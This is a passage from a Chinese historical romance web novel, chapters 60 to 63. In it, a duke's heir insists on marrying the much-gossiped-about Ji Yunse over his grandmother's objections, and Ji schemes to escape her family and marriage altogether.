毕竟他们晏家已是荣耀至极,赏无可赏,况且真要有什么大喜事必定有些苗头,不必由晏时锦亲自来说。 万氏和薛氏几人未思其他,闻言便要开口告退回避,却不料这位世子爷压根不在意,毫不避讳地直言道: “孙儿有了意中人,烦请祖母替孙儿准备着,提亲求娶。” 听见这话,万氏婆媳们如同双脚被粘住了一般,立马没有了走的念头,这种奇闻若不厚着脸皮留在当场亲见了,难道要回去再派人来辛苦打探消息? 晏起看了庄氏一眼,捋着花白胡子笑道: “呦,咱们家的铁树开花了?” 庄氏却是心里莫名打鼓,毕竟满京城里头茬的名门闺秀已经给他相看了一遍,这小子没有一个能看上的,难道天上能突然掉一个门当户对的淑女下来,入了他的眼? 她深吸一口气,忍不住伸手端起手边的茶碗,神色有几分复杂地询问道: “是…哪家的姑娘?” 晏时锦看了一眼几人各异的神色,缓声自若道: “章齐侯纪筌的长女,纪云瑟。” “谁?” 庄氏手中的茶碗微微一颤,乍一听是侯府,但这名号很陌生,最近似乎又有些耳熟。 万氏瞪大了眼睛,思索了一瞬,忍不住在一旁提醒道: “母亲,就是,前些时日被太后召入宫侍疾,这两日刚回府的纪家大小姐。” 冷不丁瞅见晏时锦微黯的神色,万氏立刻缄了口。 这位纪大小姐最近在京城里颇有些名气,要说她当日入宫,是没有多少人知晓的,除了后宫嫔妃会偶 尔与相熟的命妇闲谈两句就罢了,又没有真正册封,也就无人在意。 但是沉寂多年的后宫突然新封了一位贵妃,自然轰动了整个京城,众人除了惊叹名不见经传的孙氏一鸣惊人,必是祖坟冒了青烟的同时,连带着那位当初仗着有几分姿色,妄图被陛下瞧上而入宫,却无疾而终,只能眼睁睁看着陛下纳了新人的纪大小姐也出了名。 她的容颜品性,言谈举止,什么凭着祸国殃民的一张脸,多次刻意勾引陛下却不成,又巧言令色日日奉承病中的太后,种种事迹,众人议论起来绘声绘色,犹如亲见一般。 一时之间成为了命妇贵女们里茶余饭后的谈资,最后的总结左不过一句,说她纪云瑟痴心妄想,徒有美貌和心机,最终还不是竹篮打水一场空。 连带着整个章齐侯府,都成了京城的笑话。 “纪……” 庄氏自然也听说了,万氏一提醒,她立刻反应了过来,手中的茶碗摔碎在地。 “你再说一遍?” 晏时锦面不改色,俯首恭敬道: “孙儿心仪纪府长女纪云瑟,欲上门求娶。” 庄氏抚着骤然有些透不过气的胸口,道: “求娶?你知道你说的是谁么?” “你可知满京城是如何议论她的?” 她有些不相信自己的耳朵,哪怕他是看上哪个小官之女,庄氏也不会如此气急。 门第配不上就罢了,左右他们国公府也不是那等势力人家,若是那姑娘本分,规行矩步,教养得当,但他实在喜欢,也不是不行。 不过就是多花些时间精力,教一教如何做当家主母罢了。 可是,为何偏偏是这样一个声名狼藉的女子? 晏时锦淡然道: “流言蜚语,岂可当真?” “孙儿不在意!” 庄氏愤而起身,抬头看着比自己高出许多的长孙,怒道: “给我跪下!” 晏时锦轻叹一声,撩起衣摆,径直跪了下去,面上却是毫无悔改之意。 “到底是谁的意思?” 庄氏忍不住轻哧一声, “是陛下要你善后,还是太后硬塞给你的?” 她不信自己一贯优秀,除了亲事,其他文治武功从不让人费心的长孙,会突然鬼迷心窍。 晏时锦淡然道: “祖母莫要误会,此事,陛下和皇祖母尚不知晓。” “孙儿必是要先告诉祖父和祖母二位长辈,待亲事定下后,再知会他们。” 庄氏冷哼一声,怒道: “定亲?” “你休想!” 晏起轻咳了两声,起身拍着庄氏的肩膀,劝道: “莫要生气,好好说话。” 又诧异地在她耳畔低声劝道: “那章齐侯,虽未听说有何功勋,但毕竟也是侯府,能差到哪儿去?” “你何必如此……” 庄氏白了他一眼,打断他道: “你懂什么?” 晏起自诩大丈夫,从不与女人计较,故而日常都是让着庄氏,也不跟她多吵,便向晏时锦道: “那姑娘怎么样?什么时候带回来,给祖父瞧一瞧?” 万氏闻言又忍不住插口,道: “说起来,纪家大小姐倒真真是个绝色美人。” “那日母亲寿宴,前来贺寿的姑娘们那么多,别人媳妇都不记得了,只有纪大小姐让人过目不忘。” 一说起来,庄氏也似乎有了几分印象,不悦道: “就是跟在曦和公主身后的那个丫头?” 见万氏点点头,庄氏看向晏时锦不屑道: “我就说,长得一脸狐媚样儿,怪不得能把你迷得神魂颠倒,姓什么都不记得!” 晏时锦道: “祖母明鉴,她与陛下不过只在端阳宴上见过一面而已,从未逾矩。况她能得太后青眼,足见品性并无问题。” 庄氏道: “太后的心思谁不知道?不过是想着陛下素了那么久,清粥小菜恐入不了眼,瞧着这丫头有几分姿色,才费心弄入宫里。” “谁知,陛下慧眼根本看不上这妖艳货色,倒是你这个怨种把她当宝贝!” 随即,又想到了什么,骤然气得胸口起伏,道: “怪不得呢!你日日有家不回,偏要往宫里跑,就连端阳节都不肯回府与我们团圆,原来就是为了她?” 晏起带着些许探究,俯身向晏时锦问道: “果真如此?” 见晏时锦沉默不语,他上前拍了拍这个长孙的肩膀,目露一丝赞赏,道: “那倒是有几分我当年的风范!” “不错!年轻人嘛,爱憎分明,遇到喜欢的姑娘,就得往前冲,这才像样呐!” 庄氏差点没被这个年纪一大把,却口不择言的老匹夫气死,一拳锤了过去,怒道: “你给我闭嘴!” 然后向跪得端端正正的晏时锦道: “你别妄想了!” “我就是死,也不同意这门亲事!” 一旁的万氏婆媳几人吓得不敢再言语,此刻方觉出有几分坐如针毡的意味,只得端过一旁的茶碗,默默低头饮茶。 晏时锦平静道: “孙儿只喜欢她,我心意已定,绝不更改。” “祖母您身子康健,必能亲眼见证孙儿与她成婚。” 庄氏气得脸色铁青,指着晏时锦道: “你小子,是想气死我!” 早有屋外的奴仆见情况不对,通知晏徇赶来,见此场景,他忙上前扶住庄氏,劝解道: “母亲息怒,有什么事,您坐下来,慢慢说。” 他没好气地白了晏时锦一眼,生怕老母亲要气晕过去,幸好庄氏也是见识过大风大浪之人,她看着一脸坚定的晏时锦,心知以他的性子,一时半会儿转变不了,她深吸了几口气,放缓了声量,道: “婚姻大事,不可能如此草率。” “你先出去,此事,等我与你父亲商议过后,再说。” 既然她这个倔孙子不肯回头,那就只能找找那个会勾人的丫头了! 60-70 第61章 章齐侯府,筑玉轩。 夏末的晚风清凉,纪云瑟只着一身家常的半旧素锦薄杉,坐在窗台下,借着两盏烛火,翻看手中的账本。 效猗端来了一个托盘,道: “奴婢见姑娘晚膳没怎么吃东西,便在咱们自己院子里悄悄用小吊炉子熬了一碗燕窝粥,已经晾凉了,姑娘您用一些吧。” 纪云瑟随口问道: “是太后赏下来的燕窝么?” 效猗撇了撇嘴,道: “太后赏的哪到得了咱们房里?” “是奴婢今日偷偷出去买的。” 纪云瑟只“哦”了一声,继续拨着手中的算盘珠子,道: “搁这儿吧,我等会儿吃。” 效猗将青瓷碗放在一旁,觑着她的神色,深深叹了一口气。 纪云瑟侧眸瞧了她一眼,道: “怎么了?一脸的官司?” 效猗抱着托盘,无奈道: “奴婢每日在家都盼着姑娘回府,可谁知,您真回来了,又是这般光景。” 纪云瑟翻了一页,继续拨着算珠,浑不在意道: “哪般光景?” 效猗嘟囔道: “外面的人说您就罢了,您为了侯府在 宫里服侍太后娘娘,独自一人受了那样多的苦,可夫人二姑娘还有侯爷,也那样对您……” “陛下册封了别人,又不是您的错,他们怎能怪到您身上来呢?” “这不是过河拆桥么?” 效猗越说约激动,抽抽噎噎的,泪流满面。 纪云瑟放下算盘,笑道: “傻姐姐,别瞎说,侯府还没过‘河’呢,我也没做成那‘桥’。” 效猗抹了一把泪,忍不住嗔道: “姑娘!亏您还笑得出来!” “话虽如此,可是……” 纪云瑟的目光落回账本: “可是什么?你瞧,方叔打理京城的店铺,帮我赚了这么多钱,我不笑,难道要哭么?” 她一想到账本上的利润都是白花花的银子,眼睛都能放出光来,忙安慰她,道: “别为这些小事难过,这些时日你和崇陶在家里受苦了,明日去找方叔拿些银子,你想吃什么玩什么尽管买去!” 正说着,崇陶掀开珠帘走了进来,从袖口拿出一封信递给纪云瑟,道: “姑娘,这是方管事才刚托人送来的,扬州的信。” 纪云瑟拆开看毕,略思一瞬,道: “我去找父亲。” 月色静谧,二人向正屋恩熙堂走去,整个府邸似比从前还空荡,纪云瑟问道: “府里又打发了人走?” 崇陶点点头: “除了一些家生的,散得差不多了。” “如今,就是侯爷和夫人房里还有四个大丫头,和两个嬷嬷,其他的,像姑娘您,还有二姑娘,大公子二公子的房里,都只有两个丫头并一个粗使嬷嬷,两位姨娘的房里更是剩一个丫头了。” 纪云瑟轻叹一声,她曾听乳母秦氏说过,她的母亲苏氏当年带入府里的嫁妆何止百万,才勉强维持了多少年,就这般光景。 崇陶看出了她的心思,环顾四周无人,小声道: “故而,姑娘的体己银子,奴婢一早就带出去交给了方管事保管,秦嬷嬷回扬州也带了一些走。” “那些账本,奴婢收了过来就一直都藏在那暗格内,姑娘平日里看的时候可得小心些。” 纪云瑟回府后看着自己空荡荡的妆奁和衣柜,就知道崇陶这么做的缘故。她想了想,道: “我回府时,太后娘娘给的赏赐,都交给母亲了吧?” 崇陶扯了扯唇角,道: “哪里需要交?东西刚进府里,就直接被吴嬷嬷指使小厮搬到恩熙堂那边了,说是侯爷的意思,虽是太后赏的,但也是看在侯府的面上赏姑娘您的,得预备着日后做人情往来,便一应由侯爷做主。” 纪云瑟摆摆手,道: “罢了,我也不缺这些。” 崇陶忿忿不平: “若不是姑娘您讨太后娘娘欢心,哪来这么多赏赐?” “姑娘您自个儿还没瞧上一眼,就上了二姑娘的身,您没看见,高兴得跟什么似的!” 纪云瑟一点儿都不在意,她已经过了跟亲妹妹抢东西的年纪,幼年时,她也曾以为自己与妹妹一样,都是父亲的女儿,父亲看她和妹妹会一视同仁,所以,会不自量力地去争、去抢。 争抢不过时,会哭、会闹,但得来的却是父亲对她不懂事的训斥。 稍稍长大她就看明白了,亲娘在不在世和是否养在父亲跟前,可谓是天壤之别。 到了如今,她也能理解这种情感,就像祖母,对她肯定比对妹妹亲近些。况她并不是缺人疼的,从前有祖母、外祖父,如今有乳母、方叔和远在扬州的姨母,还有真心待她的太后。 父亲和继母不喜她也好,她行事便没有了道德负担,就像如今,她可以毫不心虚地把母亲单独留给她的财产铺子藏起来,冷眼看着纪府的落魄。 二人拾阶而上,步入恩熙堂外的檐廊下,窗棂透出亮光,屋外没有人,纪云瑟正要开口让崇陶去叩门,却听得屋内有说话声,二人停下脚步。 “侯爷,今日周家派人过来了。” 是继母魏氏的声音,带着几分委屈和哽咽。 纪筌有些不耐烦,道: “什么事?” 魏氏道: “说是她家大郎昨日去问了神仙,不宜早婚,故而她家老夫人说,大郎与惜儿的议亲暂且作罢。” 纪筌带着一丝怒意,道: “这是何意?出尔反尔!” 魏氏哭诉道: “还能是为什么?不就是因为大姑娘回府了么!” “如今,满京城都笑话咱们家痴心妄想,周家不就……” “惜儿知道了,哭得跟什么一样,一整日都没进一粒米。” 魏氏抽抽嗒嗒,纪筌不耐,吼道: “好了!别哭了!哭有何用?那陛下就能回心转意?” “周家当日不就是瞧着太后看重瑟儿,才上赶着来攀咱家这门亲事?这样拜高踩低的亲家,不要也罢!” “他们不要,惜儿就找不着别家了?” 魏氏止了哭泣,道: “话是如此,可是……” “瑟儿尚未有着落,惜儿也不好越过她姐姐去。” 提起长女,纪筌不由得气不打一处来: “瑟儿也太不中用了!在宫里那么些时日,都不能让陛下动心!” “如今这样被送回来,谁还能瞧得上她?” 魏氏顿了顿,道: “侯爷,话也不能这么说。无论如何,瑟儿的样貌在满京城的姑娘里,怎么都是数一数二的,陛下是天子,见惯了后宫佳丽三千就罢了,其他人哪有这样高的眼光?” 纪筌道: “既如此,你就上些心,等外面的风头过去一些,带她多出去相看相看,至少得郡王公侯,别让什么穷小子靠近她!” “宁做高门妾,也不做那穷人妻!” “这些时日,你看紧她一些,别让她外出乱走,再惹人笑话!” 崇陶在外听得攥紧了双拳,气得胸口剧烈起伏,转头看向一旁的自家姑娘。 纪云瑟只是冷笑了一声,转身就走: “回去吧!” 崇陶跟了上去,问道: “可是,姑娘不去求侯爷,让您去扬州了么?” 纪云瑟道: “你觉得父亲会让我走?” 她从前并未在意过自己的亲事,故而也没有想太多,如今细思,像妹妹纪云惜还未到及笄就开始议亲才是正常的。 而她的亲事,恐怕从一开始,就是父亲打算利用,成为侯府翻身的踏脚石吧! 甚至为了攀高枝,竟然能说出让她去做高门妾室的话! 她虽早就对无能自私的父亲失望,但也没想到他有这份心思!看来,她原本打算求父亲应允她去扬州,然后想办法不回来,永远离开这个鬼地方,与章齐侯府一刀两断的思路走不通了,必须另想法子! 魏氏既得了纪筌的令,又是真心希望她早些订亲,以免耽误了纪云惜,便十分上心了起来,一改从前不太出门交际的行事,频频拜会京城里的各家勋贵。 幸运的是,京城中关于纪云瑟的流言突然就中断了,各家对他们章齐侯府面上也客气了一些。 这一日,魏氏兴高采烈地握着一张邀帖,踏入了筑玉轩。 崇陶恭敬相引,魏氏径直步入房内,见纪云瑟正从案桌旁起身,桌上放着一本书,搁着笔墨纸砚,便笑道: “瑟儿在忙什么呢?” 纪云瑟起身一福,道: “母亲来了。” “没什么事,我就看一会儿书。” “母亲,请坐。” 她亲自搬来一张绣墩,又命效猗上茶。魏氏坐下,将邀帖递给她,温言道: “每日在家,闷坏了吧?” “正好,过几日南安侯谢家办马球会,你随我一同去吧!” 其实,就她最近这段时日的察言观色,和言语中的试探,自觉那些豪门贵族十分看重门第,若是光凭纪云瑟的容貌就妄想着能高攀属实不大可能,但纪筌既说,愿意他这个大女儿入高门做侧室,那也算一条不错的路。 说不定这丫头凭着姿色能留住夫君的心,再生个一男半女傍身,吹吹枕边风,定能给他们纪府带来实在的好处。 至少纪云惜可以凭借她姐姐的姻亲关系,谋得一门好亲事。 纪云瑟平静地坐在她的一旁,接过帖子细看了看,道: “谢家?” “可是羽林卫谢统领他们家?” 魏氏想了想,道: “不错,那是他家幼子,瑟儿认识?” 纪云瑟道: “从前在宫里,算是与谢统领相熟。” 魏氏目露一丝惊喜,道: “那更好,到时,瑟儿好好妆扮妆扮去。” 又上下打量了她,见她只着一身旧的素缎裙,便道: “用了午膳后,我带你去做一身新衣裳。” 纪云瑟知她拒绝不了,也确实想出去透透气,便恭 顺道: “不必劳烦母亲,女儿自己去就好。” 魏氏不疑其他,点头道: “也好,你们年轻姑娘们的眼光总是不一样,那你自己去吧!” 只要她愿意打扮好去那场勋贵云集的马球会,魏氏不介意给她这么一丁点儿的自由。 午膳后,纪云瑟小憩了半个时辰,就带着崇陶和效猗出了门,几人先去了布庄,按照魏氏的意思,选了一身时兴式样的料子,量了尺寸后方步出铺子。 纪云瑟上前吩咐自家驾马车的小厮先回去,说让她们三人在市集上逛一逛,实则是想去找方成。 小厮答应了着驾马车离开,却见一个有些年纪的妇人走了过来,恭敬道: “纪大小姐,我家主子想见您一面,请随老奴来。” 纪云瑟隔着帷帽的薄纱,认出这是当日在晏时锦的书房里,为她送过水的嬷嬷,有些诧异,道: “你主子?” 晏时锦找她? 第62章 纪云瑟有些奇怪,以晏时锦素来的行事作风,若要见她,不是会本人直接出现在她面前么?为何还要派个人来,神神秘秘地请她过去? 但他曾说过,这位嬷嬷是他院子里信得过的人,纪云瑟便答应着跟她行至不远处的一间茶楼。 到楼梯口时,陈氏躬身,道: “茶楼已被我家主子包下,他在楼上雅间等着姑娘。” 说罢,她礼貌地笑着,眼睛看向崇陶和效猗。 纪云瑟摘下帷帽,递给崇陶,向一脸诧异的二人道: “你们在此等一会儿,我去去就来。” 效猗有些不放心,拉住她小声道: “姑娘,到底是谁?” 看这妇人虽是下人,但衣饰的用料和做工已经超过了他们纪府的两个姨娘,不是寻常人家,这般煞有介事又十分神秘地见她家姑娘,不知是何意? 但见自家姑娘似心中有数,便点点头,留在了原处。 纪云瑟跟着陈氏上了楼梯,看见走廊尽头站着的两个婢女,已经明白了几分,她停下脚步,道: “嬷嬷,不是你家世子,究竟是谁找我?” 陈氏躬身道: “姑娘既来了,见了便知。” 很明显,根本不是晏时锦,但已走到这里,纪云瑟也没有转身就走的道理。 门被推开,茶香袅袅,案桌上的氤氲雾气之后,端坐着一位银发妇人,衣饰淡雅却雍容华贵,身边两侧各站着一名锦衣华服的婢女。 纪云瑟立刻认出了她,微愣之后,躬身一福: “见过晏老夫人。” “不必多礼。” 庄氏语气算是客气,上下打量了她一番,少女只着一件寻常半旧的素缎裙,未施粉黛,却生得月眉星眼,杏面桃腮,果真是令人难挪开眼的绝色。 其实当日她寿辰时,就对这丫头颇有印象,只是没料到,自己那没见过世面的长孙会被她迷得神魂颠倒。 她微微抬手,指了指对面的圈椅,面色平静,道: “坐吧!” 纪云瑟一见这位老太太,已经猜出了几分她找自己的用意,但见她言语客气,便也不扭捏,淡笑着颔首后,径直坐了下来,恭敬问道: “不知老夫人找晚辈来,有何事?” “没什么事,碰巧路过,看见贵府的马车,便邀姑娘过来饮茶。” 丝毫不提她们分明只有一面之缘,原本是八竿子打不着两人,纪云瑟亦心照不宣地保持沉默。 婢女上前斟了一杯茶,双手奉给纪云瑟,见她接过饮了一口,庄氏问道: “姑娘觉得,此茶如何?” 纪云瑟不知其意,淡笑一声,放下杯盏,道: “晚辈不懂茶,但喝着甚好。” 一旁的婢女躬身给她添了一些,恭敬道: “这是庐山云雾,夏季多饮,有清热降暑之效。” 庄氏面上一副意料之中的表情,口中却似诧异道: “你竟不懂茶?如此说,闺秀们都会的点茶手艺,姑娘也不会了?” 再蠢笨的人也能听出来,这是意指她连他们国公府的婢女都不如。 纪云瑟垂眸,如实道: “不会。” “你祖母也算是出身世家,连这个都不教你?” 庄氏自饮了一口茶,用绢帕擦了擦唇角,语气平淡,却透着居高临下的鄙夷, “那么,琴棋书画,治宅管家,这些闺阁技艺你都学过些什么?” 听她提起祖母,纪云瑟皱了皱眉,但很快放松,淡然对上她审视的目光,毫不心虚地实话实说道: “晚辈只略识得几个字,其他的一概不会。” 庄氏坐直了身子,向后靠了靠: “既如此,你怎敢肖想与子睿的亲事?” “你自问配么?” 不愧是勋贵豪门里将养了一辈子的诰命老太君,纵是说着如此难听的话,也是语气平静,并没有暴跳如雷、声色俱厉。 纪云瑟轻笑一声,她本就不想攀他们家,原本与这老太太算是一条心,但凡能尊重她好好说话,她们自然可以愉快地达成一致,但此刻,她眨了眨眼睛似十分认真地想了想,就着她的问题,礼貌答道: “大约,世子就是瞧上了晚辈的容色吧!” “你……” 庄氏终是忍不住,起身皱眉指了过去,正要开口教训教训这个胆大包天不知羞耻的丫头,却见门突然被推开,一个高大的身影走了进来。 正是她不争气的长孙,行色匆匆,甚至连身上的朝服都未换下。 晏时锦先看了一眼纪云瑟,见她似无异样,才向庄氏躬身行了个礼,道: “祖母要见云瑟,该先知会一声孙儿,由孙儿来安排。” 庄氏语气不耐: “废话,我做事,还需你小子来教?” 但见纪云瑟在旁,也不好太与他吵凶了,反而让这丫头看笑话,便缓下声量,道: “不过是叫纪大姑娘陪我喝盏茶,值得你丢下公务特地跑过来?” 说话间,怒视了一眼跟在晏时锦身后,一脸无奈的陈嬷嬷。 晏时锦道: “祖母既然有兴致,今日正好孙儿无事,便和云瑟陪祖母一同在此饮茶吧!” 一口一个“云瑟”叫得如此亲密,庄氏没好气地白了他一眼,道: “不喝了!什么兴致都被你搅没了!” “走,回府!” 说罢,颇具意味地看了看已经起身的纪云瑟,扶着婢女的手离开。 纪云瑟对上她警告的眼神,微微一福: “老夫人慢走。” 晏时锦送了出去,临走时,刻意拉住她的手捏了捏她的手心,纪云瑟明白他的意思,她原本也没有打算立刻离开。 她重新坐下,见那茶汤刚出色,又给自己倒了一杯茶,细细品了品,的确跟她素日里喝的茶有些不一样,感觉香气要更加浓馥些,回味也有些甘甜。 晏时锦回来时,就见她正淡然地坐在那儿饮茶,面色平静,他先道了歉: “对不起,是我没有处理好家中之事,你放心,我一定会说服祖母,同意我俩的亲事。” 纪云瑟转着手中的空茶盏,轻轻抚触着上面的青花纹路,幽幽道: “什么亲事?” “不被贵府长辈认可的亲事么?” 他们两个原本就不是一路人,这些时日外头对她的议论,她不是不知道,他家老太太会允准这门婚事就怪了。 正好,让这厮断了与她成婚的念头。 晏时锦皱眉,却听她继续道: “我不懂茶,不会茶艺,连女红也是一窍不通,更没有学过如何打理内宅,做 不了当家主母。” “世子,我想我们并不合适,还是,不要强求了吧!” 晏时锦反倒听出了她话中的委屈,在她身侧坐下,拿过了她手中的杯盏,温言道: “祖母若说了什么,你不必在意,你会不会那些,都无关紧要。” “成婚后,你若是想学就学,不想,也可以不学。府中事务不必你费心,我自会打理。” 他的婚事能得家中长辈的同意自然是最好,但就算祖母有什么微词,也无法阻挠。 这厮怎么冥顽不灵呢?纪云瑟面对他坦然无畏的目光,只得佯装发怒,拍案而起,加大了声量道: “你没听懂么?” “我的意思是,既然你家长辈根本瞧不上我,你我之事,便应该就此作罢!” 说罢,转身就要走,晏时锦一把拉住她,强行把她转过来,握着她的肩膀,道: “祖母不了解你,对你有些误会,但不打紧,我自会与她说明。” 纪云瑟抬眸看向他,冷哼一声,道: “那你又有多了解我?” “你知道我是怎样一个人?” 晏时锦道: “我自然了解。” 纪云瑟一脸的不信,轻哧一声,道: “其实,你跟其他人一样,不过是一时被我的容貌所迷,说不定哪日就后悔了!” 晏时锦却抓住了另一个重点,蹙眉道: “其他人?还有谁?” 既然吵了就要有吵架的样子,纪云瑟甩开他放在自己肩膀上的手,叉着腰不甘示弱: “与你何干!” 晏时锦看着她突然炸毛的模样,霎时觉出几分危险的意味,俯身向她靠近,眸光幽深,似要把她看穿: “你是不是又想反悔?” 纪云瑟眨了眨眼睛,没有想到他竟然一下看出了自己的用意,话到嘴边的吵架说辞突然说不出来,生生噎了回去,她张嘴了半日,才道: “什…么反悔?” “明明是你家……” 纪云瑟只觉身体一轻,下一瞬,就被这厮叉腰抱起,放坐在案桌上,二人离得更近了,她能从男子清澈的黑眸中看到自己骤然涨红的脸颊,愣愣地听他说道: “不反悔就好,我会说服家人,你只需安心在家,等着我上门提亲。” 少女杏眸圆睁,惊诧中带着几分不可思议,晏时锦拨开她落在脸颊上的碎发,道: “还有,你说我不了解你,可就太冤枉我了。” 他双手撑在她的两侧,俯身慢慢向她靠近,极是认真地说道: “你我初见,你翻入我所在的房中,和第二日在寿康宫故意摔入我的怀里,都是为了躲开裕王。” “在灵岩寺,你又一次擅入我的房内,是不想与蔚王有瓜葛。” “你明知陛下对你无意,故意在端阳宴献舞,是为了引夏贤妃对你出手,好让你有反击的机会。” “对不对?” 纪云瑟听他说起桩桩件件,目光逐渐呆滞,被他缓缓贴近的脸庞逼得往后仰,直到双手用力撑在身后,才没有倒下。 “还有一些小事,要我继续说么?” 男子呼出的热气拂面而来,语气却是十分平静。 纪云瑟勉强挤出一抹笑,辩驳不了一个字,整张脸僵住: “你,你都知道了?” “那你还……” 晏时锦直视她透着十足心虚的双眸,唇角微勾,轻点她的鼻尖: “或许,这就是缘分吧!” “我就喜欢你这样的…小…狐狸…” 被他揪住了尾巴的“狡猾”狐狸! 第63章 纪云瑟几乎是落荒而逃。 崇陶和效猗直到看见晏时锦匆忙赶来,又见他家老太太愤而下楼,听闻两人争吵了几句,方明白他们的身份。 效猗一脸疑惑,看向若有所思的崇陶,逼问了几句,才知自家姑娘竟早就跟晏国公世子扯上了关系,但看这形势,和姑娘一脸复杂的神色,说不清是喜是忧。 崇陶细细端详了尚有些愣神的纪云瑟半晌,道: “姑娘,您的嘴…怎么了?” 少女双唇微肿,唇脂凌乱,她抻着袖口随意擦了擦,随即戴上了帷帽,避开年长几岁懂事些的效猗的目光,道: “走,回府。” 效猗听着楼梯上传来的脚步声,回头看了那位身着官服气场慑人的世子一眼,立刻跟上了自家姑娘的脚步,悄声问道: “姑娘,直接回去么?您不去找方管家?” “不去了!” 这厮跟着她,还去找方叔做甚? 或许是她自认为利用晏时锦时,一切太过顺利,让纪云瑟差点忘了他的几重威赫身份。 他本就出生于顶级的勋爵世家,做为日后接班晏国公的继承人培养,又是在宫里被太后抚育,被陛下教养着长大,见过多少世面,通晓多少人情世故? 陛下会器重他,给他京卫司指挥使的要职,也绝不仅仅因他是陛下的亲外甥,而是他历练多年,有能力胜任! 这样的一个权臣,虽刚及弱冠,却绝不是一个简单的人,怎么可能看不出纪云瑟自以为是的雕虫小技? 就如她和丁香对付来顺一事,晏时锦当日不过午时就找到了她这个“杀人凶手”。 更不要说素日里,她对他的那些自作聪明的“勾/引”,恐怕那厮的心里跟明镜一般,一直以来,都是跟她玩猫逗着耗子的游戏吧! 纪云瑟在自己的闺房内,懊恼得将自己整个人都埋入了被衾里。 如今,晏时锦跟她一切都说开,就像是牢牢抓住了她的小辫子,她连丝毫说“不”的资格都没有了。 效猗猜测出了几分,坐在一旁,叹了口气,但还是想从自家姑娘的口中得出真相,斟酌了半晌,终是问道: “姑娘,您和那晏世子,究竟是……” 纪云瑟闷得快透不过气来,终究探出了个头,看着一直以来她看做姐姐的贴身婢女,瞒不了一个字,老老实实交待道: “他说他要娶我。” 效猗瞪大了眼睛,在听到她的下一句话后,又张大了嘴巴。 “可惜,他家中不同意,故而,他家老太太私下找我,警告我别痴心妄想。” 她倒是面色平静,仿若无事人一般,效猗却是耗费了良久,才反应过来。 “所以,姑娘您是什么意思?您喜欢晏世子么?” 若是他们两情相悦,也算是姑娘的一个好归宿。 纪云瑟几乎是没有犹豫,就摇了摇头,对上效猗愕然的目光,实话实说道: “我根本不想嫁人!” 她亲眼见到祖母为了日渐衰落的侯府,不惜拖着病弱的身子,时常入宫陪伴太后,虽说其中也有许多是因少时的情分在内,但绝大部分,根本就是为了摇摇欲坠的侯府奔走,求得一丝庇护! 更不要说她嫁入侯府的母亲,本以为巨额的嫁妆可以换来侯夫人的体面,却依旧因出身商贾,被夫君嫌弃,以至于死后换来的不过是夫君立刻续娶,把她忘得一干二净,整个纪府没人记得她的功劳,甚至连唯一的女儿也要沦为侯府的垫脚石! 所有的女子,无论出身,嫁入夫家后就不再是自己,她要这糟心的婚姻有何用? 反而是扬州的姨母,没有嫁人,独自一人经营着外祖家的产业,活得潇洒恣意,自由自在! 效猗被她的言语吓了一跳,但又素知这位姑娘极是有自己的想法,若是认准了什么,轻易不会动摇,思索了片刻,只道: “可是,奴婢瞧着,晏世子对您,应该是用心的。” 纪云瑟抱着双膝,把头搭在膝盖上,轻哼一声,道: “鱼儿还没真正钓上来时,都是舍得喂食的,但若一旦到了鱼篓里,你觉得会是什么后果?” 效猗咬咬唇,道: “也…不尽然…” “以姑娘的容姿和才智,不至于…” 别的不说,她家姑娘若是能嫁入晏国公府,成了 世子夫人,侯府也不敢再轻慢姑娘,更不会有人再议论姑娘的品行了。 纪云瑟抬眸看了她一眼,道: “我才不想做那等被困在后宅,日日费心想着如何去讨好夫君的女子!” “再说,他们国公府根本瞧不上我,就算他晏时锦真的会把我当宝又有何用?何必自讨没趣?” 效猗叹气,道: “可是,姑娘您总要成婚,不可能一个人过一辈子呐。” 纪云瑟看向窗外,瞧着斜映的日光透过窗棂照进来,淡然道: “真想要男人,找个赘婿不就好了?” 或许她还能掌控,她想了想晏时锦……还是算了吧! 效猗被她的话惊到了,道: “侯爷也不可能同意姑娘……” 纪云瑟幽幽道: “我若是离开了侯府,谁还能管我?” 效猗被她越说越离谱的话噎住,一时竟不知该如何答,只能微微叹气,道: “姑娘您休息一会儿吧,奴婢去给您熬燕窝粥。” ~ 纪云瑟已知晓父亲的打算,自是不想去什么马球会,但面上却不能表现出来,以免被他们发现异样,坏了她逃离纪府的计划。 况且魏氏也是搬出纪筌之令,半哄半吓,又从太后赏赐的钗环中细心挑选了几样,给她妆扮了一番后,便带着她和纪云惜坐马车出门。 纪云惜算得上是第一次赴这种规格的宴会,十分期待,拉着纪云瑟不断发问: “今日,那些公主、郡主小姐们,都会去吧?” “姐姐,你是不是都认识?” 纪云瑟心情不佳,根本不想搭理她,便故作假寐,待被她推得不耐烦,方敷衍地点点头嗯了一声。 纪云惜眼睛放光,忙道: “那姐姐定要为我引荐引荐呀!” 纪云瑟被这个一直活在父母的羽翼之下,没见过世面的傻妹妹蠢得想笑,她没听到最近京城的传闻么?要她这个臭名远扬的姐姐引荐,是要自取其辱? 纪云瑟心底轻嗤一声,面上笑道: “好啊,不过,今日她们恐是没空,都得上场打球呢!” 纪云惜道: “那姐姐能不能让她们教教我,我也想学马球。” 纪云瑟看了一眼她们身上繁复的新衣裙,扫过魏氏也有几分期待的目光,懒得说破,闭上眼睛: “我试试。” 南安侯的祖上也是跟着太/祖皇帝打江山的老臣,一门好几代都是名震疆场的忠勇武将,是侯爵中最为显赫的一家,如今在世的老夫人还是先帝的胞姐鲁阳大长公主,她年轻时就喜骑射马球,虽年近古稀,也是兴趣未减,每年都要亲自办一场马球会。 初秋的天气微晴,南安侯府在南郊的马球场的草坪因前几日的雨水有些湿润,这两日阳光一照,把表面的浮水晒干了,四周又没有扬尘,正是打马球的好时机。 及至巳时,各府人已陆陆续续到场,球场一侧的凉亭内坐着年纪大些的命妇,姑娘们和年轻后生大多都身着轻便的骑服,在一旁的马场里选合适的马匹。 赵沐昭和陆嘉蕙两人牵着刚挑好的马,沿着树荫往球场方向走,赵沐昭问道: “你瞧见厉书佑了么?” 陆嘉蕙抬手遮着日光,向前眺望了一眼,道: “不曾,但他今日肯定会来,公主放心。” 赵沐昭闷闷道: “你说,他是不是故意躲着本宫?” 陆嘉蕙笑了笑,道: “我已问过了兄长,听说他有公务要忙,平日里应酬又多,故而闲暇少一些。” 赵沐昭忽的道: “该不会,是已经有了相好的吧?” 陆嘉蕙看了她一眼,讪笑道: “应当没有。” 正说着,赵芷宁牵马跟了上来,看着球场,道: “公主,郡主,如今还未开始,咱们是不是先活动活动筋骨?” “听闻今日谢老夫人兴致颇高,准备了许多贵重的彩头呢!” 陆嘉蕙回头瞧了她一眼,嗤笑道: 